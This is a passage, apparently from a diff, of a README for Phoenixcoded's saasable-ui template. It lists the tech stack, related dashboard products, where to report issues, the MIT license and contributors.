+ +## Technology Stack + +- Tailwind +- No Jquery +- Gulp support +- npm/yarn package installer + +## More products from Phoenixcoded + +| Dashboard | FREE | PRO | +|-----------|------|-----| +| | — | [**Pro**](https://codedthemes.com/item/light-able/) | +| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | [**Pro**](https://codedthemes.com/item/able-pro-dashboard-templates/) | + +## Issues + +To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasable-ui/issues) on Github. We will respond as soon as possible to resolve the issue. + +## License + +- Licensed cover under [MIT](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) + +## Contributor + +**Phoenixcoded Team** + +- https://github.com/phoenixcoded + +**Brijesh Dobariya** + +- https://x.com/dobaria_brijesh